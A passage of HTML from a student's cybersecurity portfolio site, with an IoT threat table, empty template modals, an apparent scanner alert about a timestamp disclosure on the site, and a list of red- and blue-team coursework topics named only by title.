Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 998027574Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 000613396, which evaluates to: 1970-01-08 03:23:16
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p 